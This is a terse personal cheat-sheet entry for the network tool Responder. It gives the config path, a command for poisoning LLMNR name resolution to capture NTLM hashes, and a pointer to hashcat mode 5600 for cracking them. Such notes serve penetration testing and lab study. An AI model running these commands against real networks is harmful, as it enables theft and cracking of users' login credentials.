responder

Config file

/etc/responder/Responder.conf

capture LLMNR hashes

sudo responder -I INTERACE -rdw [-v]
# hashcat -m 5600